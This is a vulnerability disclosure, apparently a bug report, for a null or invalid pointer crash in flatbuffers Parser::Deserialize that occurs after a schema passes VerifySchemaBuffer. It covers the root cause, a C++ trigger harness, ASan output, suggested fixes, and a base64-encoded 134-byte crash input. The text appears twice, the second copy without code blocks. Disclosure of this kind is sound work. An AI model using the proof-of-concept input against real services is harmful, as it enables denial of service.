Summary
flatbuffers::Parser::Deserialize crashes with a SEGV while deserializing a binary schema (.bfbs) buffer that passes reflection::VerifySchemaBuffer. During StructDef::Deserialize, computing the inline size of a field type reaches flatbuffers::IsStruct, which dereferences type.struct_def (a cross-reference the verifier does not validate). For a struct field whose type claims BASE_TYPE_STRUCT but whose struct_def was never resolved, the dereference faults on an invalid pointer.
Because the schema buffer is accepted by the dedicated verifier, an application that follows the recommended "verify before use" pattern still crashes — the verifier guarantees buffer-structural validity but not the schema cross-references that Deserialize trusts.
Root Cause
StructDef::Deserialize recomputes padding for fixed (struct) layouts and calls InlineSize on each field's type (idl_parser.cpp:4161-4170):
if (fixed) {
// Recompute padding since that's currently not serialized.
auto size = InlineSize(field_def->value.type);
auto next_field =
i + 1 < indexes.size() ? of.Get(indexes[i + 1]) : nullptr;
tmp_struct_size += size;
field_def->padding =
next_field ? (next_field->offset() - field_def->value.offset) - size
: PaddingBytes(tmp_struct_size, minalign);
tmp_struct_size += field_def->padding;
}
InlineSize consults IsStruct, which unconditionally dereferences type.struct_def (idl.h:533-535):
inline bool IsStruct(const Type& type) {
return type.base_type == BASE_TYPE_STRUCT && type.struct_def->fixed;
}
reflection::VerifySchemaBuffer validates the FlatBuffer table/vtable structure of the bfbs buffer, but does not validate that a field declared as BASE_TYPE_STRUCT actually resolves to a present, in-range struct_def. When Deserialize reaches a fixed struct whose field type's struct_def is unresolved/invalid, type.struct_def->fixed reads through an invalid pointer and the process takes a SEGV.
PoC
poc/poc.bin — 134 bytes. After the harness input framing (2 header bytes stripped, remainder split into a bfbs schema region and a JSON region by a ratio byte), the carved bfbs region passes reflection::VerifySchemaBuffer and then crashes Parser::Deserialize.
Trigger Method
Standalone program using only public APIs (app_parser_deserialize.cc, verified at the pinned commit with -fsanitize=address). It mirrors the harness framing, runs the verifier first (which passes), then deserializes:
#include <cstdio>
#include <vector>
#include "flatbuffers/idl.h"
#include "flatbuffers/reflection.h"
#include "flatbuffers/verifier.h"
int main(int argc, char** argv) {
if (argc < 2) { fprintf(stderr, "usage: %s poc\n", argv[0]); return 2; }
FILE* fp = fopen(argv[1], "rb"); if (!fp) { perror("open"); return 2; }
std::vector<uint8_t> in;
{ int c; while ((c = fgetc(fp)) != EOF) in.push_back((uint8_t)c); }
fclose(fp);
size_t size = in.size(); const uint8_t* data = in.data();
if (size < 8) return 0;
uint8_t flags = data[0]; uint8_t json_ratio = data[1]; data += 2; size -= 2;
size_t json_len = (size * json_ratio) / 256; size_t bfbs_len = size - json_len;
if (bfbs_len < 4) return 0;
const uint8_t* bfbs_data = data;
flatbuffers::Verifier verifier(bfbs_data, bfbs_len);
if (!reflection::VerifySchemaBuffer(verifier)) { // PASSES for the PoC
fprintf(stderr, "[app] VerifySchemaBuffer FAILED\n"); return 0;
}
fprintf(stderr, "[app] VerifySchemaBuffer PASSED (bfbs_len=%zu) -> Deserialize\n", bfbs_len);
flatbuffers::IDLOptions opts;
opts.strict_json = (flags & 0x80) != 0;
opts.skip_unexpected_fields_in_json = (flags & 0x40) != 0;
opts.allow_non_utf8 = (flags & 0x20) != 0;
opts.output_default_scalars_in_json = (flags & 0x10) != 0;
flatbuffers::Parser parser(opts);
parser.Deserialize(bfbs_data, bfbs_len); // public API — SEGV fault site
return 0;
}
clang++ -fsanitize=address -g -O1 -I include app_parser_deserialize.cc \
libflatbuffers.a -o app_parser_deserialize
./app_parser_deserialize poc/poc.bin
Observed:
[app] VerifySchemaBuffer PASSED (...) -> Deserialize
AddressSanitizer: SEGV on unknown address 0x0000000000110
#0 flatbuffers::IsStruct(flatbuffers::Type const&) include/flatbuffers/idl.h:534
#1 flatbuffers::StructDef::Deserialize src/idl_parser.cpp:4163
#2 flatbuffers::Parser::Deserialize src/idl_parser.cpp:4487
#3 flatbuffers::Parser::Deserialize src/idl_parser.cpp:4441
#4 main
Confirmed still reproducing on current master (HEAD 81edeb17, 2026-06-18) — same SEGV at
StructDef::Deserialize idl_parser.cpp:4163 (InlineSize → IsStruct), after VerifySchemaBuffer passes.
Suggested Fix
StructDef::Deserialize (and the IsStruct/InlineSize path) must not trust that a BASE_TYPE_STRUCT field type has a valid resolved struct_def. Either:
- Make
Parser::Deserialize validate, before computing struct layout, that every field type marked as a struct/table resolves to an in-range, present object index and set parser.error_ + return false otherwise; or
- Have
IsStruct (and callers) guard against a null/unresolved struct_def instead of unconditionally dereferencing it.
More broadly, reflection::VerifySchemaBuffer does not cover the schema cross-references that Deserialize depends on, so Deserialize should defensively re-validate those references rather than assuming a passing verify implies safe-to-deserialize.
PoC bytes (self-contained)
The trigger input is 134 bytes (poc/poc.bin).
Recreate it exactly with:
base64 -d > poc.bin <<'B64'
AAAQAAAAQkZCUwgADAAEAAgACAAAAAwAAAAEAAAAAAAAAAEAAAAQAAAADAAUAAgADAAHABAADAAAAAAAAAFAAAAACAAAAAEAAAAB
AAAADAAAAAgADgAEAAgACAAAABgAAAAMAAAAAAAGAAgABwAGAAAAAAAADwEAAABmAAAAAQAAAFMAAAA=
B64
Credit
Aisle Research (Ze Sheng (O2Lab & TAMU), Dmitrijs Trizna, Luigino Camastra, Guido Vranken).
Summary
flatbuffers::Parser::Deserializecrashes with a SEGV while deserializing a binary schema (.bfbs) buffer that passesreflection::VerifySchemaBuffer. DuringStructDef::Deserialize, computing the inline size of a field type reachesflatbuffers::IsStruct, which dereferencestype.struct_def(a cross-reference the verifier does not validate). For a struct field whose type claimsBASE_TYPE_STRUCTbut whosestruct_defwas never resolved, the dereference faults on an invalid pointer.Because the schema buffer is accepted by the dedicated verifier, an application that follows the recommended "verify before use" pattern still crashes — the verifier guarantees buffer-structural validity but not the schema cross-references that
Deserializetrusts.Root Cause
StructDef::Deserializerecomputes padding for fixed (struct) layouts and callsInlineSizeon each field's type (idl_parser.cpp:4161-4170):InlineSizeconsultsIsStruct, which unconditionally dereferencestype.struct_def(idl.h:533-535):reflection::VerifySchemaBuffervalidates the FlatBuffer table/vtable structure of the bfbs buffer, but does not validate that a field declared asBASE_TYPE_STRUCTactually resolves to a present, in-rangestruct_def. WhenDeserializereaches a fixed struct whose field type'sstruct_defis unresolved/invalid,type.struct_def->fixedreads through an invalid pointer and the process takes a SEGV.PoC
poc/poc.bin— 134 bytes. After the harness input framing (2 header bytes stripped, remainder split into a bfbs schema region and a JSON region by a ratio byte), the carved bfbs region passesreflection::VerifySchemaBufferand then crashesParser::Deserialize.Trigger Method
Standalone program using only public APIs (
app_parser_deserialize.cc, verified at the pinned commit with-fsanitize=address). It mirrors the harness framing, runs the verifier first (which passes), then deserializes:clang++ -fsanitize=address -g -O1 -I include app_parser_deserialize.cc \ libflatbuffers.a -o app_parser_deserialize ./app_parser_deserialize poc/poc.binObserved:
Confirmed still reproducing on current
master(HEAD81edeb17, 2026-06-18) — same SEGV atStructDef::Deserializeidl_parser.cpp:4163(InlineSize→IsStruct), afterVerifySchemaBufferpasses.Suggested Fix
StructDef::Deserialize(and theIsStruct/InlineSizepath) must not trust that aBASE_TYPE_STRUCTfield type has a valid resolvedstruct_def. Either:Parser::Deserializevalidate, before computing struct layout, that every field type marked as a struct/table resolves to an in-range, present object index and setparser.error_+ returnfalseotherwise; orIsStruct(and callers) guard against a null/unresolvedstruct_definstead of unconditionally dereferencing it.More broadly,
reflection::VerifySchemaBufferdoes not cover the schema cross-references thatDeserializedepends on, soDeserializeshould defensively re-validate those references rather than assuming a passing verify implies safe-to-deserialize.PoC bytes (self-contained)
The trigger input is 134 bytes (
poc/poc.bin).Recreate it exactly with:
Credit
Aisle Research (Ze Sheng (O2Lab & TAMU), Dmitrijs Trizna, Luigino Camastra, Guido Vranken).